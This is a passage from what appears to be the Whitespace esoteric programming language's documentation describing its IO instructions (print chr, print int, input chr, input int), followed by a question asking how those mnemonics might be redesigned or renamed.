[Tab][LF]) Finally, we need to be able to interact with the user. There are IO instructions for reading and writing numbers and individual characters. With these, string manipulation routines can be written. The read instructions take the heap address in which to store the result from the top of the stack. print chr Output the character at the top of the stack print int Output the number at the top of the stack input chr Read a character and place it in the location given by the top of the stack input int Read a number and place it in the location given by the top of the stack Question: How would you redesign, rewrite, or rename the previous mnemonics and for what reasons?

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